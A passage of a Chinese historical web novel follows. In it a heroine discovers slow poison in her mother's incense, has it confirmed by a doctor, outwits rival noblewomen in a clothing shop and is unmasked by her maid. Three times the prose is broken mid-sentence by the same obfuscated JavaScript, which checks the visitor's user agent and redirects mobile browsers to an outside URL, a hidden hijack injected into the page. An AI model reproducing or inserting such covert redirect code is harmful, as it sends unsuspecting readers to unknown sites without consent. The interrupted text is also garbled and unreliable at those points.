待至太子车马离去，人群间又恢复了嘈杂气氛。 锁秋刚将头抬起便见汀竹脸上空荡荡的，不免一惊，“小姐你的面纱？” 汀竹回想方才，定是在与宋婉拉扯中被其有意扯了面纱，又假意摸了摸脸上，立即用宽大的衣袖扯住了眼下半张脸，惊慌失措，“锁秋！先回府。” 锁秋见状着急忙慌的扶着她上了马车。 人群里隐隐飘来几句私语，“方才驶过的原是太子殿下的马车，险些受惊的，正是宋家二小姐。” “别的暂且不论，单论容貌，大小姐可是远不及二小姐。” “可不是嘛！难怪太子殿下迟迟不肯与大小姐完婚，分明是嫌她容貌粗陋，难登大雅之堂。 …… 11. 生疑 太子府大门处—— 车夫将马车停稳至门口前，侍从忙取下马凳架置好后，随即就上前轻掀起车帘。 太子款步下了马车，刚向府内走了两步，余光却瞥见马车车轮处缠有白布，白布上还掺杂着一点淡青色。 他当即止步，又折回两步，眉头微皱，“将那物取下，呈上给孤看。” 侍从不敢怠慢，闻言连忙将车轮缠绕一小团的布解下，双手捧至了太子面前，躬身回道：“禀殿下，是一方面纱。” “看这样式，许是宋大小姐之物。” 太子低眸看了一眼面纱上可见的淡青色鸢尾花，又想起方才街边那面容带疤的女子，眸光不免又暗淡了几分。 他沉默片刻，才缓缓开口：“听闻前些时日宋大小姐为宋夫人祈福，归途中马惊车覆，磕伤了脑袋？” 侍从依旧垂首，声音恭敬回应，“回殿下，确有此事。” “将此面纱好生洗净，明日取些珍稀药材，连同面纱一同送往将军府。”太子吩咐道，语气间听不出过多波澜。 侍从忙躬身应下：“是，属下这就去办，定不会误了殿下的吩咐。” * 汀竹一行人到将军府时，已是酉时三刻，天色渐黑。 一入府恰好赶上了晚膳时刻，汀竹回暖居阁简单收拾了一下就来了大厅。 她又吩咐锁秋去将今日所买分发剩下的点心摆了一小碟，便独自站在一边等着众人开饭。 先来的是宋夫人，接着便是宋将军，周姨娘母女。 宋将军走来时，目光特点看了汀竹一眼，眸光深暗不明所意。 汀竹心中便猜至，多半是因今日买点心时遇差点冲撞太子马车一事。 不等汀竹多想，宋将军就开口询问今日街上一事，宋婉立马便扯着嗓子委屈着，“父亲，今日之事全因女儿而起，与姐姐无半点关系。” “皆是女儿不慎，才不被姐姐拉了把。” 汀竹垂眸听着宋婉颠倒黑白，心底早已将宋婉千刀万剐，面上却依旧淡定从容。 想到如若是以前的宋韫遇到此境况怕是会默默拦下所有吧。 可她不非宋韫，她要借宋韫这身份，活出另一番的光景。 当下，她垂在身侧的手不动声色的移至身后，狠狠掐了自己的臀下处的肉，那揪心的痛意，让她勉强挤出了几滴泪，晕湿了眼睫，红了眼睑。 开口时，声线带着几分沙哑，又掺杂着一丝哽咽，“父亲，当时人群嘈杂，也不知是哪个没长眼的人猛撞了女儿，女儿也是情急之下就胡乱扯了一下，待稳定身型才知扯的是二妹妹。” “都怪女儿未能看清是二妹妹，害二妹妹受此惊吓。” “此事女儿已向太子殿下禀明缘由，殿下并未追究。” 宋将军闻言，眉峰微蹙，目光在宋婉紧绷的脸上看了一眼，眸光落在汀竹泛红的眼角前又暗了几分，未立刻作声。 厅内烛火摇曳，映得各人神色明暗不定，周姨娘坐在一旁，手指绞着帕子，欲言又止。 倒是宋夫人咳嗽两句，先开了口，语气带着几分安抚，“既然殿下未曾追究，那便是万幸了。”说罢，又看向了宋将军，“老爷此事也不必太过挂怀，想来不过是街市上的一场小意外，往后叮嘱她们姐妹出门多留心便是。” 周姨娘闻言，忙不迭顺着话头接话，声音里带着几分恭谨：“老爷，夫人说的极是。不过是偶然的磕碰，哪值得您为此费心，往后多提点姑娘们便是了。 宋婉见周姨娘未替自己出言，急得眼圈也红了，正要再辩，却被宋将军一个眼神制止。 他沉声道：“殿下不追究，不代表此事便可轻过。往后你们姐妹出门，须多带些仆从，再不许这般莽撞行事，丢了将军府的体面。” 话落，便命人传膳。 侍女们捧着食盒鱼贯而入，白玉碗碟里盛着温热的菜肴，香气漫开，却压不住厅内微妙的气氛。 汀竹落座就默默执起筷子，眼角余光瞥见宋婉狠狠剜了自己一眼，她只当未见，慢条斯理地夹了一筷青菜。 这将军府的日子太平了几日，往后怕是不会有如此太平的日子了，她得更小心些才是。 晚膳用至一半，宋将军因军中事便匆匆离去。 周姨娘见汀竹脸上的面纱不是自己送的那方锦纱，柔声问道：“大小姐可是不喜欢妾身送的面纱？” 汀竹抬眸，目光淡淡的看了一眼周姨娘，缓声说：“并非如此，方才险些绊倒时，不知被谁扯掉了面纱，我方才已命锁秋四处寻，却并未寻到” “许是被哪个寒门贫士捡了去，换了钱。” 周姨娘面上露出一丝难色，只是轻轻应道：“哦，” 不多时，晚膳末，众人皆散。 汀竹先扶着宋夫人回了正房院，行至半途，宋夫人又问起了今日街上偶遇太子之事。 汀竹便将事情经过一五一十的告知了宋夫人。 “母亲，今日在去丞相府的途中，临至九味斋时，偶然听到店小二吆喝有开胃点心。” “待府中宴散后，女儿便向父亲请示，想去九味斋瞧瞧，不曾想二妹妹听闻执意与女儿一同去。” “刚买好点心，女儿正想去前边看看其他的铺子，哪知太子马车恰好驶过从身后驶来，慌乱间女儿被二妹妹撞了一下，好在女儿眼疾手快与她换了身位，若非如此那摔至地下的就是女儿了。” 话音未落，宋夫人脚步蓦地一顿，两只手连忙抚上汀竹的胳膊，左右一番查看，声音里添了几分急意，“可有惊着？身上没碰着吧？这丫头，怎的如此莽撞！” 见汀竹摇头，她才稍稍松了口气，又低声叮嘱，“往后离她远些，这般场合更要多留个心眼，万不能再冒这种险。” “母亲，女儿知道啦。”汀竹挽着宋夫人的手柔声一笑。 回了暖居阁后，汀竹连忙让锁秋将昨日在宋夫人那讨来的安神香粉取来。 锁秋以为小姐也要睡前焚香，就拿来了一个小香炉，取了一小盒香粉。将炉中的香灰用香铲刮平， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659328|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把香篆放置好就将香粉填满篆纹，再用香匙刮去多余粉末。 这边汀竹等候了半晌，见锁秋取个香许久未归。便绕过屏风去寻，恰巧就见锁秋正拿着火折子要点燃炉中香粉。 她心头一紧，连忙出声制止，“锁秋！” 锁秋冷不防被这声叫唤惊到，手上的火折子“啪嗒”一声掉落在地，暗红的火光在青砖上滚了两圈才灭。 她慌忙道：“怎么了小姐？” 汀竹快步走来，忙将香炉拿至面前，语气急切，“此香焚不得！” 锁秋闻言，脸色骤变，声音都带了颤，“小姐，此香难道……有不妥？” 汀竹便解释说，“此香粉掺着一丝慢性毒药，寻常闻一次到无妨，若长期焚香吸入，则会使气血日渐亏虚，身子病弱久卧床榻。” “久了，怕是会目盲，直至被毒死。” 锁秋听得这话，双腿一软，后退一步，双手死死攥着衣角，声音发颤：“怎、怎会这样？” 汀竹忙伸出食指放在嘴边，示意锁秋小声说到。 “这可是老爷赠予夫人的，是老爷特意为夫人……”她想起夫人原本康健的身体，忽然便体弱多病…… 如今想来，只觉后背发凉。 汀竹将香炉轻轻搁置一旁的花几上，目光直直盯着香炉里的安神香粉。 “母亲并未知情。”她缓声道，目光落在窗外廊下摇曳的烛火上，“府里人多眼杂，指不定是哪个环节被人动了手脚。” 见宋将军对宋夫人的态度，保不齐会是赠送之人，特意为之。 亦或许是她将人想的太坏，事实也行并非如此。 锁秋眼底满是疑惑，忍不住问道：“小姐是如何察觉这香粉中藏了毒？” 汀竹心头微愣，她倒是忘了宋韫不通医术，先前情急未及时细想说词。 于是垂眉理了理袖口，随口编造了几句，“前几日得空闲逛书房，无意间翻到了一本旧医书，里面恰好记载了一些类似的毒药，那香味跟书中描绘的隐约相似，我也不敢全然确定，只是多了个心眼罢了。” 说罢，她指尖轻扣茶几，又作补充，“明日还需寻个由头出府，找位大夫再验验看这香粉，若真有毒，也好早做打算。” 锁秋将信将疑，狐疑的看了汀竹一眼，见她神色平淡，不像说谎，这才信了她这番说词。 汀竹见她小脸不在纠结，也不在过多解释，就俯身捡起地上的火折子，吹了吹残留的灰，递还给锁秋：“余下的香粉你先收起来，找个密封性好的瓷瓶装好埋了，切不可让旁人瞧见，更别再碰。” 又将炉中香粉用香铲，铲置一个小瓷瓶中。顿了顿，补充道，“方才的事，你我知晓便罢，万不可声张。眼下没有证据，贸然声张，只会打草惊蛇。” 锁秋连忙点头，接过火折子的手还在微颤，转身去寻瓷瓶时，脚步都有些虚浮。 汀竹则走到窗边，望着院中沉沉的夜色，眉头微蹙。 也不知接下来还会遇到何等阴险之事。 12. 抓药 辰时中后，正厅前院。 汀竹在暖居阁用完早膳，就带着锁秋，准备从正门出府。 方行至正厅前的青砖路上，就看见宋将军自大门外迎面而来。 汀竹忙欠身行礼，语声恭顺：“女儿清禾，恭请父亲早安。” 宋将军抬手抚了抚颔下长须，目光扫过她的装束，略露疑色：“清禾这是要出府去？” “回父亲，”汀竹垂眸应道，“女儿昨日听闻金玉阁新到了一批首饰，想去亲自瞧瞧。” 话音未落，便听到身后环佩轻响，周姨娘携着丫鬟缓缓而来。 她先向宋将军福了一礼，笑唤：“老爷今日倒回得早！”转而看向汀竹，语气带着几分诧异，“大小姐这是要出门？” “见过姨娘，”汀竹行礼回话，“清禾打算出府挑些首饰。” 周姨娘闻言，面上露出不以为然的神色，劝道：“大小姐府中首饰还少吗？这等琐碎事，打发底下人去办便是，何须劳烦大小姐亲自跑一趟？” “姨娘说的是，”汀竹抬眸，语气却不卑不亢，“只是首饰贴身，款式喜好各有不同，终究是亲自挑选的，才合心意。” 宋将军看着二人言语间略有僵持，正欲开口调停，忽闻门口侍从高声通报：“启禀将军，太子派人前来，说是归还大小姐昨日遗落之物。” 话音落时，两名东宫侍从已端着托盘入内。 一盘盛着几包上好的药材，另一盘上，正放着一方绣着淡青色鸢尾花纹样的白色面纱，正是汀竹昨日不慎遗落的物件。 汀竹瞥见那方面纱，指尖微蜷，面上却依旧镇定，上前两步向侍从颔首：“有劳二位专程跑一趟，还望替我谢过太子殿下。” 侍从齐声应了“不敢”，又将药材托盘递向宋将军，恭声道：“殿下昨日见宋二小姐受了惊吓，特寻了些滋补的药材送来。” 周姨娘闻言，双目骤睁，满脸不可置信，“这些都是太子殿下送给二小姐的！？” 那侍从恭敬的回应，“正是。” 周姨娘得到了肯定答复，脸上的笑意都快溢出来了，连忙鞠身福了个礼，“真是劳烦二位大人了，妾身便替二小姐谢过太子殿下了。”说完，忙唤贴身丫鬟接过托盘。 宋将军眸色微动，吩咐管家引侍从去偏厅奉茶，侍从拱手谢过便转身离开。 宋将军往里走时转身看向了汀竹，语气已缓了些：“既想去金玉阁，便多带两个护卫，早去早回。”随后宋将军吩咐了两名护卫跟随着汀竹二人。 周姨娘看着那盘珍贵药材，眉开眼笑地附和着，“是啊，大小姐多带两个护卫，再若发生昨日那般事，可未必有人会像太子殿下这般宽容，还送名贵药材来。” 汀竹心中一松，鞠身欠了欠礼，嘴角不免微动，“谢过父亲、姨娘关心，清禾就先走一步了。”说罢，便带着锁秋及两名护卫快步出了府。 这边周姨娘本想跟着宋将军一同去往正厅，却被宋将军以“尚有公务”为由婉拒了。周姨娘也不恼，只唤着丫鬟端着那盘珍贵药材回了自己的院落，又差另外一个婢女去寻二小姐宋婉。 不一会儿，宋婉便掀帘而入。 她一见到周姨娘满面喜色，有些疑惑，不知母亲这么着急唤自己来是为什么。 于是便不由问道：“娘，这么着急唤女儿来，可是出了什么事？” 周姨娘连忙唤贴身丫鬟将太子所赠的药材端了过来，接着就笑着问宋婉，“莲溪，你看这是什么？” 宋婉看了一眼，笑道：“不过是些药材，女儿还以为娘是得了什么稀罕宝贝呢。” 周姨娘继续卖着关子，笑得更深，“再猜猜，这是谁送的？” 宋婉略思，“莫非是父亲赠的？” 周姨娘轻轻摇了摇头，语气满是得意，“错了，这是太子殿下特意赠与你的！” “太子？”宋婉瞳孔微缩，神色愈发惊讶了。 “正是！”周姨娘将方才侍从送药材的情形一五一十的道来，“太子专程派下属送来，说是瞧你昨日受了惊吓，特意寻的滋补药材呢！” 宋婉听得这话，只觉耳畔轰然一响，简直不敢相信自己的耳朵。 这竟然是太子所赠的，还是专门赠给自己的。 “娘，真是太子殿下赠送给女儿的！” 宋婉不敢相信的再问了一次，见周姨娘笑着轻点了头，她当即面脸露出欣喜之色。 “娘，你说太子殿下会不会也对我心生情谊？”说到这，宋婉不由自主的小脸一羞涩。 宋姨娘轻拍了拍她的手，“娘倒是不知太子对你是何意，但娘敢肯定太子对宋韫绝对无意。” 宋婉一听这话，小脸又一扬，语气甚是嫌弃，“那是，太子殿下怎么会看上一个丑八怪呢！” * 望京街上，汀竹衣着素色衣裙，头戴着幂篱，身旁伴着锁秋，身后跟着两名护卫。 此时，汀竹正想方设法想摆脱那两名护卫，前去药铺找些可解那慢性毒药的药材，配解药。 刚想着，视线便被一家衣服铺子——云锦坊，吸引了注意。 于是她便带着几人去了云锦坊。 入店，掌柜的连忙上前迎接，堆着笑拱手，“贵客临门！小店新到了几件蜀锦所制的冬衣，您要不要试试看？” 汀竹点了点头，示意锁秋随掌柜去取了衣服，转身又同那两名护卫说道：“你们二人且在门口候着，我试衣需要些时辰。” 两名护卫闻言，鞠身应了声“是”，就退至到了门廊下等候，目光仍不离店门。 汀竹见此状，心中泛起嘀咕：这哪是护卫，分明是派来的盯庄的。 待锁秋取了衣服过来不见那二人，便低声问了汀竹一声，“小姐，那俩名护卫呢？” “在门口候着呢。”话落，汀竹将捧着衣物的锁秋拉至了换衣的隔间内。 压低声线道：“锁秋，你在此处替我打掩护。” 锁秋皱着眉头，眼里担忧着，“小姐要不奴婢去吧？” 汀竹轻轻摇头，“你可借取衣之名在外面走动，就不易引人起疑。” 锁秋想了想却是如此，于是便从怀中取出一个小瓷瓶递给了汀竹，轻声说道：“小姐，万事小心。” 汀竹接过瓷瓶，含着笑意点头，“锁秋，要辛苦你演这出独角戏了。” “能帮到小姐，是奴婢的福气。”锁秋也笑了笑。 为了行动方便，汀竹将幂篱取下放在了架子上，脸上随即换戴了面纱。 随后，锁秋将板棂窗打开，朝窗外左右望了望，确认无误后，然后小心翼翼护着汀竹翻窗离开。 约莫片刻，汀竹就寻到了一家位置较偏的医馆。 店面不大，门前稀稀落落无甚客人，只有个白发老大夫躺在竹制躺椅上，盖着层薄毯打盹，店内便无二人存在。 她取过墙根的木杖，轻轻戳了戳老大夫的衣袖：“老大夫，醒醒。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659329|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 老大夫被戳醒，揉了揉惺忪的眼睛，眯着眼打量着眼前这戴着面纱的女子。 “你是何人？” 汀竹见他醒了，便说明来意，“是这样的大夫，我想找你配些药材。” 老大夫闻言，立马精神起来，起身便引汀竹往里进。 “贵客里面请。” 入了医馆后，老大夫走进了柜台内，“贵客是需要配哪些药材？可有药方？” 随即，汀竹从袖口中掏出一个小瓷瓶，将此物放在了柜台前，缓缓说道:“这瓷瓶里装的香粉，乃是我家夫君赠与。” “如今要用完了，我又不好意思问取，因此就想让大夫辨辨此香粉药材，我好差下人照着配置些。” 大夫拿过那瓷瓶，打开小盖，将瓷瓶放在鼻息间浅浅闻了闻，“确实是上等香粉。” 接着拿了张纸和毛笔，又将香粉细细闻了闻，脸色逐渐便的凝重，又仔细闻了一遍二遍，抬眼看了汀竹，语气郑重道：“这真是你夫君所赠？” 汀竹见大夫神色凝重，她心中松了口气，生怕这大夫也是名庸医，就顾作疑惑，“大夫这香粉可是有什么不妥？” 那大夫突然语重心长，“夫人，你与你夫君成亲多久了？可是真心相爱？” 汀竹垂眸，语气带着几分委屈，“我与夫君成亲尚不足一月，是父母之命媒妁之言，虽无深交，可夫君待我素来温和。” 大夫沉重叹了口气，声音压得更低，“夫人，老夫实话跟你说吧，这——”话到嘴边又顿住了，只摇着脑袋。 见大夫接连叹了几口气，却迟迟不说，汀竹故作心揪紧的模样，就又追问：“大夫，到底怎么了？” 老大夫最终还是开了口，字字清晰，“此香粉含毒，只是用量极少不易发现也不易至死。” “可若长期服用，身体会逐渐体弱多病，气虚血空，到最后还会目盲，直到油尽灯枯。” 汀竹闻言，身子猛地一晃，忙扶住柜台才站稳，悄悄在身后狠狠掐了自己大腿一把，逼出泪意，声音带着哭腔：“怎会……怎会如此？我与他无冤无仇，他为何要下此毒手害我性命啊！” 老大夫见她哭得身子发颤，也不免叹了口气，伸手将瓷瓶盖好推回去，低声道：“夫人莫急，此毒虽阴狠，却非无解，只需一个蛊虫便可解此毒。” 说到这，老大夫又长叹口气。 汀竹闻言，眼中的泪意稍敛，攥着瓷瓶的手指紧了紧：“还请大夫告知是什么蛊虫，哪怕踏遍京城，我也要寻来。” 老大夫便说：“传闻西域苗疆有一种吸食毒药的蛊虫，名唤噬毒蛊。可在人的身体内吸食世间任何毒素。” “不管传闻是否可信，那蛊虫也只会出现在西域苗疆的巫医手里，京城怕是寻不到此蛊。” 噬毒蛊？ 她倒是在太师祖的《天下毒术》中看到此虫的记载，却如这老大夫所言一致。 原以为是个寻常医匠，没成想这老大夫竟有这般手段，倒叫人刮目相看。 接着又问：“大夫，除了药材，可有什么暂时压制毒性的法子？” “倒有个应急的方子。”老大夫又写了张方子，“用当归、黄芪各五钱，加红枣三颗煮水，每日早晚各服一次，能补些气血，暂缓毒性蔓延，只是治标不治本，终究还得靠那蛊虫。” 汀竹双手接过药方，小心折好塞进袖中，对着老大夫深深一福：“多谢大夫仗义相告，此恩我记下了。” 13. 衣裳 其实还有一种解毒之法，便是服下以与之相克的毒药，就能解毒。 只可惜此法虽能解毒，但需承受此毒带来巨大的痛苦。依宋夫人目前的身体状况来看，此法只会让其先毙命。 好在还有一线生机，只是这西域苗疆距京城千里之远，凭她如今的身份来看，根本就没前往的机会。只能依靠这大夫开的治标不治本的法子，勉强吊着性命。 汀竹再次谢过了大夫，又敛衽行了一礼，便从门口绕至无人的小巷内。她回眸朝身后看了一眼，确定无人后，便脚踏左墙壁，纵身一跃就翻进了后巷，沿着后巷一路往云锦坊后院去。 隔间内，锁秋对着那垂着纱帘的幂篱，来回缓慢踱着步子，问道：“小姐，这身衣服可还合身？” 迟疑两秒，锁秋抬手就轻捏着鼻尖，清了清嗓，学着自家小姐的声线回道，“锁秋，合身到是合身，只是这衣裙太过繁琐华丽，你去问问展柜，可有素雅的样式。” 锁秋故作疑惑，扬声道“小姐，依奴婢看，您穿这身极是好看呢！奴婢这就去问掌柜的。” 说罢，锁秋便捧着一件衣服出了隔间。 掌柜的见锁秋捧着衣裳出来，连忙上前轻声询问她，“姑娘，可是这衣裳不合小姐的身？” 锁秋摇了摇头，“并非如此，只是我家小姐平日里喜穿素雅的衣裳，是这一件未免太过华丽了些。”她顿了顿，又问：“装柜的可有素雅的样式？” 那掌柜抬手摸了摸颌下的胡须，忽然一拍大腿，偶然想起前些日到的一件清新雅致的新货，“有的有的，姑娘请稍等片刻，小的这就取来。”说完，便朝身后放衣物的库房去了。 掌柜刚离开没多久，店外又进来两位富家小姐，各带着一名婢女。 锁秋认得走在前头的那位，正是齐太傅的爱女齐湘玉，而身侧那位却是面生得很。 锁秋连忙欠身行了个礼，柔声道：“二位小姐安。” 齐湘玉闻声，这才抬眼仔细打量了一番眼前行礼的丫鬟，片刻后便想起，昨日赵老夫人寿宴上宋家大小姐的贴身侍女。 她淡淡颔首应道：“免礼。” “你是宋家大小姐的贴身丫鬟吧？” 锁秋点了点头，回道：“回小姐，正是奴婢。” 齐湘玉身侧的小姐随即开口，语气带有几分试探，“既如此，怎不见你家小姐？” 锁秋恭声回道：“回小姐的话，我家小姐正在隔间内试衣。” 恰在此时，掌柜的取着那件青竹纹锦裙出来，见又来了二位贵客，连忙上前恭敬道：“二位小姐贵临，小店正好新到了几件蜀锦所制的冬衣。” “二位小姐可否赏脸试试？” 接着掌柜就将手中的青竹纹锦裙递给了锁秋，又转身去介绍了摆在最里侧的几件蜀锦冬衣。 锁秋刚拿着衣物走了两步，身后那位面生的小姐忽然又开口，语气带着几分揶揄，“这都过去许久了，怎不见你家小姐出来？” “莫不是怕了我们，不敢见人？” 锁秋一听，心中顿时犯了难，连忙解释，“小姐说笑了，并非如此，只是我家小姐还等着奴婢取衣裳进去试穿呢。” “既然如此，你将衣裳给我，我替你送进去便是。”那小姐说着，快步上前，一把夺了锁秋手中的衣裳。 锁秋大惊，急忙喊道：“小姐,你这是做什么！” 她正要上前阻拦，那小姐却执意要进去，还吩咐随身丫鬟将锁秋给架在一旁。 “宋家大姐姐，我是礼部侍郎李家的女儿，今日恰巧来云锦坊......”李小姐一边说着，一边伸手去推隔间的门。 锁秋的心瞬间提到了嗓子眼上，却被丫鬟死死架着，动弹不得。 下一秒，隔间的门忽然从内被打开，一位戴着月白面纱，衣着素色衣裙的女子走了出来，正好撞见了欲想开门而入的李小姐。 汀竹蹙着眉，目光冷冷的落在了李小姐的脸上，语气带着几分薄怒，“不知礼部侍郎李大人是如何教女的，竟让你这般不知礼数，随意擅闯他人正用的隔间！” 那李小姐被怼的哑口无言，脸上一阵红一阵白，勉强挤出一丝笑意，“我见姐姐许久不出来，还以为姐姐在房间内出了什么事呢，特地过来瞧瞧。” “顺便给姐姐送这冬衣。”说着，李小姐明显是被汀竹那气场吓得手有些发颤，连忙将手中的冬衣递了过去。 这礼部侍郎家的小姐不过也是个欺软怕硬的，汀竹在心中冷嘲一声，并未接取衣裳。而是从她身侧借过走到了锁秋面前，那丫鬟也是识趣立马放了锁秋。 见小姐平安归来，锁秋轻叹了口气，那悬在胸口的大石，总算是落了地。 带着几分哽咽的声音道：“小姐。” 汀竹安抚的握了握她的手，刚转过身来便见齐湘玉便缓步上前，语气温和，“还望妹妹莫要怪罪李家妹妹。”说罢便让李娇璃将那件冬衣又给捧了过来。 于是李娇璃便将衣裳又重新递给了汀竹，言行倒是要比方才恭敬些，“姐姐，是方才妹妹失了礼数，妹妹给你赔礼道歉。” “姐姐大人有大量切莫记在心里去。我瞧这件冬衣是极好，尤其是这兰花纹绣甚是符合姐姐的气质。” “是啊妹妹，我瞧李家妹妹说的不错，她手中这件倒比你身上这件适合你。”齐湘玉也在一侧说道。 汀竹目光扫过那件绣工精巧的冬衣，又落在李娇璃垂首的模样上，唇角勾起一抹极淡的弧度。 沉吟片刻只淡淡看向李娇璃，“李妹妹既知失礼，往后行事多顾着分寸便是。”她声音不高，却带着不容置喙的笃定。 汀竹却未接李娇璃手中的衣裙，让她伸着的手僵在半空，脸色又白了几分。 又继续说道：“既然这衣裳妹妹觉得甚好，姐姐便成人之美，让与妹妹便是。”说完她转身掠过二人，直径走向齐湘玉身后挂着的那排衣裙，手一抬，指尖拂过了一件青竹纹锦裙。 齐湘玉望着她的背影，眼底闪过一丝讶异，随即又掩去，笑着打圆场，“难怪宋妹妹将衣物让与李妹妹，原来是另有喜好，倒也省得我与李妹妹再费口舌。” 李娇璃指尖攥着方才递出又收回的冬衣，虽面上仍带着几分不情愿，可一想到宋将军的官位压过父亲，终究是松了口，语气带着几分勉强：“倒是我唐突了，误了姐姐的美意。” 她话锋一转，强撑着大方，“姐姐若有瞧中的衣物，一并算我的。” 汀竹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659330|188365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言，嘴角漾开浅淡的笑意，语气温和却不客套，“那便多谢妹妹的好意了。”说完，她抬手指向架上那件青竹纹锦裙，素手轻捻裙摆，“掌柜的，劳烦将这件包起来。” 转身间，她目光又落在内架那件暗紫色貂皮披风上。 披风毛色油亮，边缘滚着一圈银狐毛，在暖光下泛着柔润光泽，补充道：“还有那件貂皮披风，一同包了。” 掌柜的听得这话，脸上的笑意瞬间堆得更满，忙不迭应着“好嘞”，转身取来锦盒将衣物仔细收好。 他转身拨弄起柜上的算盘，“噼啪”声清脆悦耳，片刻后便拱手笑道：“二位小姐，算好了！锦裙配披风，刚好50两白银。” 李娇璃听见“50两”三个字，指尖猛地一缩，广袖下的手不自觉攥紧，脸上的笑意僵在了原地。 这价钱抵得上她半年的月例，可话已出口，再难收回，她只能强装镇定地从腰间取下银袋，沉甸甸的银子倒在掌柜的托盘里，发出清脆的声响。 汀竹将这一切看在眼里，却未多言，只接过掌柜递来的锦盒，转手交给身后的锁秋，语气依旧平和：“劳烦妹妹破费了。往后若有机会，我再回请妹妹。” 这话听在李娇璃耳中，只觉格外刺耳，却又发作不得，只能扯出个僵硬的笑：“姐姐客气了。” 齐湘玉见她这副愚笨模样，眼底闪过一丝恨铁不成钢，却还是耐着性子看向李娇璃，语气带着几分敲打，“往后行事可得多掂量，莫要再这般冒失。” 最后一句她看向李娇璃，语气里的敲打让李娇璃慌忙点头：“是是，姐姐说的是，妹妹再不敢了。” 齐湘玉见局面已定，便顺势笑道：“那我们二人便先去前面店铺逛逛，就先不扰妹妹挑衣了。待府中菊花开，再邀妹妹一同赏菊。” 说罢，拉着李娇璃转身离开，广袖摆动间，似有若无地瞥了汀竹一眼，眼底藏着几分复杂。 掌柜的连忙拱手高声道：“二位小姐慢走，下次需用物件，还来小店便是！” 待两人身影彻底消失在云锦坊门外，锁秋才凑上前来，小声道：“小姐，您方才那般应对，会不会得罪齐小姐和李小姐？她们一个是太傅府的小姐，一个是侍郎府的，往后若寻您麻烦可怎好？” 汀竹抬手理了理她鬓边的碎发，又轻轻拢了拢她单薄的衣领，语气缓和下来，带着几分安抚：“若事事都怕得罪人，一味忍让，只会让人得寸进尺，越发不将我们放在眼里。” “放心，她们暂时不敢怎样。” 随后，汀竹将门口那两名护卫唤了进来，让锁秋将锦盒递给了护卫拿着。 掌柜见汀竹身影将过店门，连忙从柜台后趋步而出，怀中揣着个描金漆盒，高声留客道：“小姐，还请留步！” 汀竹闻言停了脚步，转身看向了身后的掌柜，只见他捧着一个描金漆黑。 掌柜又躬身笑道：“这里面是上月新收的南珠耳坠，您拿去配衣裳。不值什么钱，就当小姐今日照顾小店生意，略备些薄礼相赠，还望小姐莫要嫌弃。” 汀竹颔首一笑，随即便让锁秋收下，“那就谢过掌柜了。” “小姐客气了，还望小姐能够常来光临本店。”掌柜笑着鞠躬恭送。 14. 笃定 汀竹又逛了家首饰铺，挑了几支发钗、两对耳饰并一副银丝手钏，便早早回了将军府。 入府后，她先让锁秋将那领紫貂披风送去正房。自个儿则回了暖居阁，歪在贵妃榻上小憩，直至锁秋提着午膳食盒归来。 锁秋将食盒里的菜肴一一布在桌上，见汀竹刚从榻上坐起，揉着眉心醒神，便轻声问：“小姐，先前那安神香，当真有问题？” 汀竹低眸，点了点头。 锁秋见状，顿时敛了声息。虽心中早有猜测，可亲耳印证的这一刻，胸口还是像压了块石头，闷得发慌。 汀竹走到桌前落座，瞥见她垂着头，呆呆的立在一旁，刚要开口说：“或许……”，忽然就听见一阵细细的抽噎声。 “锁秋？” 锁秋吸了吸鼻子，用衣袖抹了抹眼角，稍稍收了点情绪，才哑着嗓子道：“小姐，奴婢实在想不明白。” “年少时，将军与夫人的感情便是京城人人皆羡慕，成亲后也是如胶似漆，只是后来夫人……” “就算如此，将军怎会因一个姨娘如此……伤害夫人？” 汀竹端起青瓷汤碗，用银勺舀了口汤，语气淡淡：“人本就有好坏之分。” “况且民间因贪利谋害糟糠、弃旧迎新的事，也不在少数。” 这话让锁秋猛地一怔。 她抬眼，一双杏眼直直盯着汀竹的眸子，仿佛要透过这双熟悉的眼睛，看清内里的人影。 盯了片刻，她忽然颤着声道：“你……你不是我家小姐。” 汀竹持勺的手微微一顿，脸上的淡然瞬间凝住，取而代之的则是嘴角微微上挑的笑意。 这丫头，也算是聪明一回了。 “锁秋，我若不是你家小姐，那谁是？”她笑着反问。 她倒挺喜欢逗逗这丫头。 只是汀竹心里清楚，自己需寻个知根知底、又忠心可靠的人，日后遇事，才能有个得力的帮手。 但愿锁秋，不会让她失望。 “我家小姐就算失忆也不会说出这样的话。”锁秋语气笃定，甚至有些怀疑自己赌错了，但这段时间的相处……她也不知，内心情绪也极其复杂。 如若面前的不是她家小姐，那她家小姐恐怕早就已经遇害了。 想到这她声音发颤，连问三句，“是你杀害了我家小姐？” “你到底是谁？” “你来将军府，究竟是为了什么？” 